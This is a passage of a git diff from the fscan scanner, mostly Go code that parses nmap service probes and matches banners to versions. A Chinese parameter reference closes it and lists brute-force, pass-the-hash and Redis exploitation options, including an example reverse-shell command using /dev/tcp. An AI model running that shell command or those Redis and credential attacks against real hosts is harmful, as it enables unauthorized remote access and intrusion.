return softMatch, compileErr
|
||||
}
|
||||
|
||||
// 设置softMatch对象属性
|
||||
softMatch.Service = directive.DirectiveName
|
||||
softMatch.Pattern = pattern
|
||||
softMatch.PatternCompiled = patternCompiled
|
||||
softMatch.VersionInfo = versionInfo
|
||||
|
||||
common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
||||
softMatch.Service, softMatch.Pattern))
|
||||
return softMatch, nil
|
||||
}
|
||||
|
||||
// containsPort 检查指定端口是否在探测器的端口范围内(私有方法)
|
||||
func (p *Probe) containsPort(testPort int) bool {
|
||||
common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
||||
|
||||
// 检查单个端口
|
||||
ports := strings.Split(p.Ports, ",")
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
cmpPort, err := strconv.Atoi(port)
|
||||
if err == nil && testPort == cmpPort {
|
||||
common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 检查端口范围
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if strings.Contains(port, "-") {
|
||||
portRange := strings.Split(port, "-")
|
||||
if len(portRange) != 2 {
|
||||
common.LogDebug("无效的端口范围格式: " + port)
|
||||
continue
|
||||
}
|
||||
|
||||
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
||||
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
||||
|
||||
if err1 != nil || err2 != nil {
|
||||
common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
||||
continue
|
||||
}
|
||||
|
||||
if testPort >= start && testPort <= end {
|
||||
common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
||||
return false
|
||||
}
|
||||
|
||||
// MatchPattern 检查响应是否与匹配规则匹配
|
||||
func (m *Match) MatchPattern(response []byte) bool {
|
||||
if m.PatternCompiled == nil {
|
||||
common.LogDebug("警告: 匹配规则的正则表达式未编译")
|
||||
return false
|
||||
}
|
||||
|
||||
matched := m.PatternCompiled.Match(response)
|
||||
if matched {
|
||||
// 提取匹配到的子组
|
||||
submatches := m.PatternCompiled.FindStringSubmatch(string(response))
|
||||
if len(submatches) > 1 {
|
||||
m.FoundItems = submatches[1:] // 排除完整匹配,只保留分组
|
||||
common.LogDebug(fmt.Sprintf("模式匹配成功,提取到 %d 个分组", len(m.FoundItems)))
|
||||
} else {
|
||||
common.LogDebug("模式匹配成功,但没有分组匹配")
|
||||
}
|
||||
}
|
||||
|
||||
return matched
|
||||
}
|
||||
|
||||
// IsPortMatch 检查探测器是否适用于指定端口
|
||||
func (p *Probe) IsPortMatch(port int) bool {
|
||||
// 如果没有指定端口范围,认为适用于所有端口
|
||||
if p.Ports == "" {
|
||||
return true
|
||||
}
|
||||
|
||||
return p.containsPort(port)
|
||||
}
|
||||
|
16624
Core/portfinger/nmap-service-probes.txt
Normal file
16624
Core/portfinger/nmap-service-probes.txt
Normal file
File diff suppressed because it is too large
Load Diff
292
Core/portfinger/probe_parser.go
Normal file
292
Core/portfinger/probe_parser.go
Normal file
@ -0,0 +1,292 @@
|
||||
package portfinger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// 解析指令语法,返回指令结构
|
||||
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||
common.LogDebug("开始解析指令语法,输入数据: " + data)
|
||||
|
||||
directive = Directive{}
|
||||
// 查找第一个空格的位置
|
||||
blankIndex := strings.Index(data, " ")
|
||||
if blankIndex == -1 {
|
||||
common.LogDebug("未找到空格分隔符")
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
directiveName := data[:blankIndex]
|
||||
Flag := data[blankIndex+1 : blankIndex+2]
|
||||
delimiter := data[blankIndex+2 : blankIndex+3]
|
||||
directiveStr := data[blankIndex+3:]
|
||||
|
||||
directive.DirectiveName = directiveName
|
||||
directive.Flag = Flag
|
||||
directive.Delimiter = delimiter
|
||||
directive.DirectiveStr = directiveStr
|
||||
|
||||
common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
||||
directiveName, Flag, delimiter, directiveStr))
|
||||
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析探测器信息
|
||||
func (p *Probe) parseProbeInfo(probeStr string) {
|
||||
common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
||||
|
||||
// 提取协议和其他信息
|
||||
proto := probeStr[:4]
|
||||
other := probeStr[4:]
|
||||
|
||||
// 验证协议类型
|
||||
if !(proto == "TCP " || proto == "UDP ") {
|
||||
errMsg := "探测器协议必须是 TCP 或 UDP"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 验证其他信息不为空
|
||||
if len(other) == 0 {
|
||||
errMsg := "nmap-service-probes - 探测器名称无效"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 解析指令
|
||||
directive := p.getDirectiveSyntax(other)
|
||||
|
||||
// 设置探测器属性
|
||||
p.Name = directive.DirectiveName
|
||||
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
||||
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
||||
|
||||
common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
||||
p.Name, p.Data, p.Protocol))
|
||||
}
|
||||
|
||||
// 从字符串解析探测器信息
|
||||
func (p *Probe) fromString(data string) error {
|
||||
common.LogDebug("开始解析探测器字符串数据")
|
||||
var err error
|
||||
|
||||
// 预处理数据
|
||||
data = strings.TrimSpace(data)
|
||||
lines := strings.Split(data, "\n")
|
||||
if len(lines) == 0 {
|
||||
return fmt.Errorf("输入数据为空")
|
||||
}
|
||||
|
||||
probeStr := lines[0]
|
||||
p.parseProbeInfo(probeStr)
|
||||
|
||||
// 解析匹配规则和其他配置
|
||||
var matchs []Match
|
||||
for _, line := range lines {
|
||||
common.LogDebug("处理行: " + line)
|
||||
switch {
|
||||
case strings.HasPrefix(line, "match "):
|
||||
match, err := p.getMatch(line)
|
||||
if err != nil {
|
||||
common.LogDebug("解析match失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, match)
|
||||
|
||||
case strings.HasPrefix(line, "softmatch "):
|
||||
softMatch, err := p.getSoftMatch(line)
|
||||
if err != nil {
|
||||
common.LogDebug("解析softmatch失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, softMatch)
|
||||
|
||||
case strings.HasPrefix(line, "ports "):
|
||||
p.parsePorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "sslports "):
|
||||
p.parseSSLPorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "totalwaitms "):
|
||||
p.parseTotalWaitMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "tcpwrappedms "):
|
||||
p.parseTCPWrappedMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "rarity "):
|
||||
p.parseRarity(line)
|
||||
|
||||
case strings.HasPrefix(line, "fallback "):
|
||||
p.parseFallback(line)
|
||||
}
|
||||
}
|
||||
p.Matchs = &matchs
|
||||
common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
||||
return err
|
||||
}
|
||||
|
||||
// 解析端口配置
|
||||
func (p *Probe) parsePorts(data string) {
|
||||
p.Ports = data[len("ports")+1:]
|
||||
common.LogDebug("解析端口: " + p.Ports)
|
||||
}
|
||||
|
||||
// 解析SSL端口配置
|
||||
func (p *Probe) parseSSLPorts(data string) {
|
||||
p.SSLPorts = data[len("sslports")+1:]
|
||||
common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
||||
}
|
||||
|
||||
// 解析总等待时间
|
||||
func (p *Probe) parseTotalWaitMS(data string) {
|
||||
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
||||
if err != nil {
|
||||
common.LogDebug("解析总等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TotalWaitMS = waitMS
|
||||
common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
||||
}
|
||||
|
||||
// 解析TCP包装等待时间
|
||||
func (p *Probe) parseTCPWrappedMS(data string) {
|
||||
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
||||
if err != nil {
|
||||
common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TCPWrappedMS = wrappedMS
|
||||
common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
||||
}
|
||||
|
||||
// 解析稀有度
|
||||
func (p *Probe) parseRarity(data string) {
|
||||
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
||||
if err != nil {
|
||||
common.LogDebug("解析稀有度失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.Rarity = rarity
|
||||
common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
||||
}
|
||||
|
||||
// 解析回退配置
|
||||
func (p *Probe) parseFallback(data string) {
|
||||
p.Fallback = data[len("fallback")+1:]
|
||||
common.LogDebug("回退配置: " + p.Fallback)
|
||||
}
|
||||
|
||||
// 从内容解析探测器规则
|
||||
func (v *VScan) parseProbesFromContent(content string) {
|
||||
common.LogDebug("开始解析探测器规则文件内容")
|
||||
var probes []Probe
|
||||
var lines []string
|
||||
|
||||
// 过滤注释和空行
|
||||
linesTemp := strings.Split(content, "\n")
|
||||
for _, lineTemp := range linesTemp {
|
||||
lineTemp = strings.TrimSpace(lineTemp)
|
||||
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
||||
continue
|
||||
}
|
||||
lines = append(lines, lineTemp)
|
||||
}
|
||||
|
||||
// 验证文件内容
|
||||
if len(lines) == 0 {
|
||||
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 检查Exclude指令
|
||||
excludeCount := 0
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "Exclude ") {
|
||||
excludeCount++
|
||||
}
|
||||
if excludeCount > 1 {
|
||||
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// 验证第一行格式
|
||||
firstLine := lines[0]
|
||||
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
||||
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
||||
common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 处理Exclude指令
|
||||
if excludeCount == 1 {
|
||||
v.Exclude = firstLine[len("Exclude")+1:]
|
||||
lines = lines[1:]
|
||||
common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
||||
}
|
||||
|
||||
// 合并内容并分割探测器
|
||||
content = "\n" + strings.Join(lines, "\n")
|
||||
probeParts := strings.Split(content, "\nProbe")[1:]
|
||||
|
||||
// 解析每个探测器
|
||||
for _, probePart := range probeParts {
|
||||
probe := Probe{}
|
||||
if err := probe.fromString(probePart); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
||||
continue
|
||||
}
|
||||
probes = append(probes, probe)
|
||||
}
|
||||
|
||||
v.AllProbes = probes
|
||||
common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
||||
}
|
||||
|
||||
// 将探测器转换为名称映射
|
||||
func (v *VScan) parseProbesToMapKName() {
|
||||
common.LogDebug("开始构建探测器名称映射")
|
||||
v.ProbesMapKName = map[string]Probe{}
|
||||
for _, probe := range v.AllProbes {
|
||||
v.ProbesMapKName[probe.Name] = probe
|
||||
common.LogDebug("添加探测器映射: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// 设置使用的探测器
|
||||
func (v *VScan) SetusedProbes() {
|
||||
common.LogDebug("开始设置要使用的探测器")
|
||||
|
||||
for _, probe := range v.AllProbes {
|
||||
if strings.ToLower(probe.Protocol) == "tcp" {
|
||||
if probe.Name == "SSLSessionReq" {
|
||||
common.LogDebug("跳过 SSLSessionReq 探测器")
|
||||
continue
|
||||
}
|
||||
|
||||
v.Probes = append(v.Probes, probe)
|
||||
common.LogDebug("添加TCP探测器: " + probe.Name)
|
||||
|
||||
// 特殊处理TLS会话请求
|
||||
if probe.Name == "TLSSessionReq" {
|
||||
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
||||
v.Probes = append(v.Probes, sslProbe)
|
||||
common.LogDebug("为TLSSessionReq添加SSL探测器")
|
||||
}
|
||||
} else {
|
||||
v.UdpProbes = append(v.UdpProbes, probe)
|
||||
common.LogDebug("添加UDP探测器: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
||||
len(v.Probes), len(v.UdpProbes)))
|
||||
}
|
71
Core/portfinger/scanner_core.go
Normal file
71
Core/portfinger/scanner_core.go
Normal file
@ -0,0 +1,71 @@
|
||||
package portfinger
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"fmt"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
//go:embed nmap-service-probes.txt
|
||||
var ProbeString string
|
||||
|
||||
var v VScan
|
||||
var null *Probe
|
||||
var commonProbe *Probe
|
||||
|
||||
// Init 初始化VScan对象
|
||||
func (vs *VScan) Init() {
|
||||
common.LogDebug("开始初始化VScan")
|
||||
vs.parseProbesFromContent(ProbeString)
|
||||
vs.parseProbesToMapKName()
|
||||
vs.SetusedProbes()
|
||||
common.LogDebug("VScan初始化完成")
|
||||
}
|
||||
|
||||
|
||||
// InitializeGlobalVScan 初始化全局VScan实例
|
||||
func InitializeGlobalVScan() {
|
||||
common.LogDebug("开始初始化全局变量")
|
||||
|
||||
v = VScan{}
|
||||
v.Init()
|
||||
|
||||
// 获取并检查 NULL 探测器
|
||||
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
||||
common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
||||
null = &nullProbe
|
||||
} else {
|
||||
common.LogDebug("警告: 未找到NULL探测器")
|
||||
}
|
||||
|
||||
// 获取并检查 GenericLines 探测器
|
||||
if genericProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
||||
common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(genericProbe.Data)))
|
||||
commonProbe = &genericProbe
|
||||
} else {
|
||||
common.LogDebug("警告: 未找到GenericLines探测器")
|
||||
}
|
||||
|
||||
common.LogDebug("全局变量初始化完成")
|
||||
}
|
||||
|
||||
// GetGlobalVScan 获取全局VScan实例
|
||||
func GetGlobalVScan() *VScan {
|
||||
return &v
|
||||
}
|
||||
|
||||
// GetNullProbe 获取NULL探测器
|
||||
func GetNullProbe() *Probe {
|
||||
return null
|
||||
}
|
||||
|
||||
// GetCommonProbe 获取通用探测器
|
||||
func GetCommonProbe() *Probe {
|
||||
return commonProbe
|
||||
}
|
||||
|
||||
|
||||
func init() {
|
||||
InitializeGlobalVScan()
|
||||
}
|
67
Core/portfinger/types.go
Normal file
67
Core/portfinger/types.go
Normal file
@ -0,0 +1,67 @@
|
||||
package portfinger
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
)
|
||||
|
||||
// VScan 主扫描器结构体
|
||||
type VScan struct {
|
||||
Exclude string
|
||||
AllProbes []Probe
|
||||
UdpProbes []Probe
|
||||
Probes []Probe
|
||||
ProbesMapKName map[string]Probe
|
||||
}
|
||||
|
||||
// Probe 探测器结构体
|
||||
type Probe struct {
|
||||
Name string // 探测器名称
|
||||
Data string // 探测数据
|
||||
Protocol string // 协议
|
||||
Ports string // 端口范围
|
||||
SSLPorts string // SSL端口范围
|
||||
|
||||
TotalWaitMS int // 总等待时间
|
||||
TCPWrappedMS int // TCP包装等待时间
|
||||
Rarity int // 稀有度
|
||||
Fallback string // 回退探测器名称
|
||||
|
||||
Matchs *[]Match // 匹配规则列表
|
||||
}
|
||||
|
||||
// Match 匹配规则结构体
|
||||
type Match struct {
|
||||
IsSoft bool // 是否为软匹配
|
||||
Service string // 服务名称
|
||||
Pattern string // 匹配模式
|
||||
VersionInfo string // 版本信息格式
|
||||
FoundItems []string // 找到的项目
|
||||
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
||||
}
|
||||
|
||||
// Directive 指令结构体
|
||||
type Directive struct {
|
||||
DirectiveName string
|
||||
Flag string
|
||||
Delimiter string
|
||||
DirectiveStr string
|
||||
}
|
||||
|
||||
// Extras 额外信息结构体
|
||||
type Extras struct {
|
||||
VendorProduct string
|
||||
Version string
|
||||
Info string
|
||||
Hostname string
|
||||
OperatingSystem string
|
||||
DeviceType string
|
||||
CPE string
|
||||
}
|
||||
|
||||
// Target 目标结构体
|
||||
type Target struct {
|
||||
Host string
|
||||
Port int
|
||||
Timeout int
|
||||
}
|
||||
|
131
Core/portfinger/version_parser.go
Normal file
131
Core/portfinger/version_parser.go
Normal file
@ -0,0 +1,131 @@
|
||||
package portfinger
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
||||
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
||||
common.LogDebug("开始解析版本信息")
|
||||
var extras = Extras{}
|
||||
|
||||
// 确保有匹配项
|
||||
if len(m.FoundItems) == 0 {
|
||||
common.LogDebug("没有匹配项,无法解析版本信息")
|
||||
return extras
|
||||
}
|
||||
|
||||
// 替换版本信息中的占位符
|
||||
foundItems := m.FoundItems
|
||||
versionInfo := m.VersionInfo
|
||||
for index, value := range foundItems {
|
||||
dollarName := "$" + strconv.Itoa(index+1)
|
||||
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
||||
}
|
||||
common.LogDebug("替换后的版本信息: " + versionInfo)
|
||||
|
||||
// 定义解析函数
|
||||
parseField := func(field, pattern string) string {
|
||||
patterns := []string{
|
||||
pattern + `/([^/]*)/`, // 斜线分隔
|
||||
pattern + `\|([^|]*)\|`, // 竖线分隔
|
||||
}
|
||||
|
||||
for _, p := range patterns {
|
||||
if strings.Contains(versionInfo, pattern) {
|
||||
regex := regexp.MustCompile(p)
|
||||
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
||||
common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
||||
return matches[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
extras.VendorProduct = parseField("厂商产品", " p")
|
||||
extras.Version = parseField("版本", " v")
|
||||
extras.Info = parseField("信息", " i")
|
||||
extras.Hostname = parseField("主机名", " h")
|
||||
extras.OperatingSystem = parseField("操作系统", " o")
|
||||
extras.DeviceType = parseField("设备类型", " d")
|
||||
|
||||
// 特殊处理CPE
|
||||
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
||||
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
||||
for _, pattern := range cpePatterns {
|
||||
regex := regexp.MustCompile(pattern)
|
||||
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
||||
if len(cpeName) > 1 {
|
||||
extras.CPE = cpeName[1]
|
||||
} else {
|
||||
extras.CPE = cpeName[0]
|
||||
}
|
||||
common.LogDebug("解析到CPE: " + extras.CPE)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return extras
|
||||
}
|
||||
|
||||
// ToMap 将 Extras 转换为 map[string]string
|
||||
func (e *Extras) ToMap() map[string]string {
|
||||
common.LogDebug("开始转换Extras为Map")
|
||||
result := make(map[string]string)
|
||||
|
||||
// 定义字段映射
|
||||
fields := map[string]string{
|
||||
"vendor_product": e.VendorProduct,
|
||||
"version": e.Version,
|
||||
"info": e.Info,
|
||||
"hostname": e.Hostname,
|
||||
"os": e.OperatingSystem,
|
||||
"device_type": e.DeviceType,
|
||||
"cpe": e.CPE,
|
||||
}
|
||||
|
||||
// 添加非空字段到结果map
|
||||
for key, value := range fields {
|
||||
if value != "" {
|
||||
result[key] = value
|
||||
common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
||||
}
|
||||
}
|
||||
|
||||
common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
||||
return result
|
||||
}
|
||||
|
||||
// TrimBanner 清理横幅数据,移除不可打印字符
|
||||
func TrimBanner(banner string) string {
|
||||
// 移除开头和结尾的空白字符
|
||||
banner = strings.TrimSpace(banner)
|
||||
|
||||
// 移除控制字符,但保留换行符和制表符
|
||||
var result strings.Builder
|
||||
for _, r := range banner {
|
||||
if r >= 32 && r <= 126 { // 可打印ASCII字符
|
||||
result.WriteRune(r)
|
||||
} else if r == '\n' || r == '\t' { // 保留换行符和制表符
|
||||
result.WriteRune(r)
|
||||
} else {
|
||||
result.WriteRune(' ') // 其他控制字符替换为空格
|
||||
}
|
||||
}
|
||||
|
||||
// 压缩多个连续空格为单个空格
|
||||
resultStr := result.String()
|
||||
spaceRe := regexp.MustCompile(`\s+`)
|
||||
resultStr = spaceRe.ReplaceAllString(resultStr, " ")
|
||||
|
||||
return strings.TrimSpace(resultStr)
|
||||
}
|
||||
|
311
PARAMETERS.md
Normal file
311
PARAMETERS.md
Normal file
@ -0,0 +1,311 @@
|
||||
# Fscan 参数完整文档
|
||||
|
||||
> **版本**: 2.0.2
|
||||
> **更新日期**: 2025-01-06
|
||||
|
||||
## 📋 目录
|
||||
|
||||
- [目标配置参数](#目标配置参数)
|
||||
- [扫描控制参数](#扫描控制参数)
|
||||
- [认证与凭据参数](#认证与凭据参数)
|
||||
- [Web扫描参数](#web扫描参数)
|
||||
- [POC测试参数](#poc测试参数)
|
||||
- [Redis利用参数](#redis利用参数)
|
||||
- [暴力破解控制参数](#暴力破解控制参数)
|
||||
- [输出与显示控制参数](#输出与显示控制参数)
|
||||
- [其他参数](#其他参数)
|
||||
- [使用示例](#使用示例)
|
||||
- [最佳实践](#最佳实践)
|
||||
|
||||
---
|
||||
|
||||
## 🎯 目标配置参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-h` | string | - | **目标主机**: IP, IP段, 域名 | `-h 192.168.1.1` |
|
||||
| `-hf` | string | - | 主机文件路径 | `-hf hosts.txt` |
|
||||
| `-eh` | string | - | 排除主机列表 | `-eh 192.168.1.1,192.168.1.2` |
|
||||
| `-p` | string | 常用端口 | **扫描端口**: 单个端口、范围或列表 | `-p 80,443,1-1000` |
|
||||
| `-pf` | string | - | 端口文件路径 | `-pf ports.txt` |
|
||||
| `-ep` | string | - | 排除端口列表 | `-ep 80,443` |
|
||||
|
||||
### 端口格式说明
|
||||
- **单个端口**: `80`
|
||||
- **端口列表**: `80,443,3389`
|
||||
- **端口范围**: `1-1000`
|
||||
- **组合使用**: `22,80,443,8080-8090`
|
||||
- **默认端口组**: `21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616`
|
||||
|
||||
---
|
||||
|
||||
## ⚙️ 扫描控制参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-m` | string | `all` | **扫描模式**: all, portscan, tcpscan等 | `-m portscan` |
|
||||
| `-t` | int | `600` | **端口扫描线程数** | `-t 1000` |
|
||||
| `-time` | int | `3` | 端口扫描超时时间(秒) | `-time 5` |
|
||||
| `-mt` | int | `10` | 模块线程数 | `-mt 20` |
|
||||
| `-gt` | int | `180` | 全局超时时间(秒) | `-gt 300` |
|
||||
| `-np` | bool | `false` | **禁用ping探测** | `-np` |
|
||||
| `-fingerprint` | bool | `false` | **启用服务指纹识别** | `-fingerprint` |
|
||||
| `-local` | bool | `false` | 本地扫描模式 | `-local` |
|
||||
|
||||
### 扫描模式说明
|
||||
- **`all`** (默认): 完整扫描 (端口+服务+漏洞)
|
||||
- **`portscan`**: 仅端口扫描
|
||||
- **`tcpscan`**: TCP端口扫描
|
||||
- **`udpscan`**: UDP端口扫描
|
||||
- **`icmp`**: ICMP存活探测
|
||||
- **自定义模式**: 可指定特定插件名称
|
||||
|
||||
---
|
||||
|
||||
## 🔐 认证与凭据参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-user` | string | - | **用户名** | `-user admin` |
|
||||
| `-pwd` | string | - | **密码** | `-pwd password123` |
|
||||
| `-usera` | string | - | 额外用户名列表 | `-usera "admin,root,test"` |
|
||||
| `-pwda` | string | - | 额外密码列表 | `-pwda "123456,password"` |
|
||||
| `-userf` | string | - | 用户名字典文件 | `-userf users.txt` |
|
||||
| `-pwdf` | string | - | 密码字典文件 | `-pwdf passwords.txt` |
|
||||
| `-domain` | string | - | **SMB域名** | `-domain COMPANY` |
|
||||
| `-hash` | string | - | 哈希值 (用于哈希传递攻击) | `-hash ntlmhash` |
|
||||
| `-hashf` | string | - | 哈希文件 | `-hashf hashes.txt` |
|
||||
| `-sshkey` | string | - | **SSH私钥文件路径** | `-sshkey ~/.ssh/id_rsa` |
|
||||
|
||||
---
|
||||
|
||||
## 🌐 Web扫描参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-u` | string | - | **目标URL** | `-u http://example.com` |
|
||||
| `-uf` | string | - | URL文件 | `-uf urls.txt` |
|
||||
| `-cookie` | string | - | **HTTP Cookie** | `-cookie "session=abc123"` |
|
||||
| `-wt` | int | `5` | Web请求超时时间(秒) | `-wt 10` |
|
||||
| `-proxy` | string | - | **HTTP代理** | `-proxy http://127.0.0.1:8080` |
|
||||
| `-socks5` | string | - | **SOCKS5代理** | `-socks5 127.0.0.1:1080` |
|
||||
|
||||
---
|
||||
|
||||
## 🔍 POC测试参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-pocname` | string | - | **指定POC名称** | `-pocname "weblogic"` |
|
||||
| `-pocpath` | string | - | **自定义POC路径** | `-pocpath ./mypocs/` |
|
||||
| `-nopoc` | bool | `false` | 禁用POC扫描 | `-nopoc` |
|
||||
| `-full` | bool | `false` | **全量POC扫描** | `-full` |
|
||||
| `-num` | int | `20` | POC并发数 | `-num 50` |
|
||||
| `-dns` | bool | `false` | DNS日志记录 | `-dns` |
|
||||
|
||||
---
|
||||
|
||||
## 📡 Redis利用参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-rf` | string | - | **Redis公钥文件** | `-rf ~/.ssh/id_rsa.pub` |
|
||||
| `-rs` | string | - | **Redis反弹Shell** | `-rs "bash -i >&/dev/tcp/ip/port 0>&1"` |
|
||||
| `-noredis` | bool | `false` | 禁用Redis扫描 | `-noredis` |
|
||||
| `-rwp` | string | - | Redis写入路径 | `-rwp /tmp/` |
|
||||
| `-rwc` | string | - | Redis写入内容 | `-rwc "malicious content"` |
|
||||
| `-rwf` | string | - | Redis写入文件 | `-rwf ./payload.txt` |
|
||||
|
||||
---
|
||||
|
||||
## 🔓 暴力破解控制参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-nobr` | bool | `false` | **禁用暴力破解** | `-nobr` |
|
||||
| `-retry` | int | `3` | 连接失败最大重试次数 | `-retry 5` |
|
||||
|
||||
---
|
||||
|
||||
## 📤 输出与显示控制参数
|
||||
|
||||
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||
|-----|------|-------|------|------|
|
||||
| `-o` | string | `result.txt` | **输出文件路径** | `-o scan_results.txt` |
|
||||
| `-f` | string | `txt` | **输出格式**: txt, json, csv | `-f json` |
|
||||
| `-no` | bool | `false` | 禁用结果保存 | `-no` |
|
||||
| `-silent` | bool | `false` | **静默模式** | `-silent` |
|
||||
| `-nocolor` | bool | `false` | 禁用颜色输出 | `-nocolor` |
|
||||
| `-log` | string | `BASE_INFO_SUCCESS` | **日志级别** | `-log ALL` |
|
||||
| `-nopg` | bool | `false` | **禁用进度条** | `-nopg` |
|
||||
|
||||
### 日志级别说明
|
||||
- **`ALL`**: 显示所有日志
|
||||
- **`ERROR`**: 仅显示错误
|
||||
- **`BASE`**: 基础信息
|
||||
- **`INFO`**: 详细信息
|
||||
- **`SUCCESS`**: 成功结果
|
||||
- **`DEBUG`**: 调试信息
|
||||
- **`BASE_INFO_SUCCESS`** (默认): 基础+信息+成功
|
||||
